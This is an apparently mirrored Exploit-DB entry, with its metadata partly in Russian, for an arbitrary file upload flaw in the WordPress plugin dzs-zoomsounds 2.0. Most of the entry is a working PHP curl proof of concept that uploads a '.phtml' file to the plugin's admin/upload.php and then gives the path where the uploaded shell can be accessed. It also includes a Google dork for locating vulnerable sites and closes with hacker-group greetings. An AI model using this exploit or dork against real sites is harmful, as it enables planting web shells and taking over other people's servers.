Exploit WordPress Plugin dzs-zoomsounds 2.0 - Arbitrary File Upload

[Exploiter]

EDB-ID

37166

Проверка EDB

1. Пройдено

Автор

NABIL CHRIS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2015-06-01

WordPress Plugin dzs-zoomsounds 2.0 - Arbitrary File Upload

###################################################################################################
# Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability
# Vendor : http://digitalzoomstudio.net/docs/wpzoomsounds/
# Author: bl4ck-dz
# Date: 28/05/2015
# Infected File: upload.php
# Category: webapps
# Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/
# Tested on : Linux | Windows
###################################################################################################
<?php 
$evil="dz.phtml"; 
$ch = curl_init("http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('file_field'=>"@$evil")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); curl_close($ch); 
echo "$postResult"; 
?>
Shell Access :
http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload/$Evil

# GreeTz : Akram Stelle ~ Mr DZ ~ All DzTeaM Members & all all Dz H4x0rs !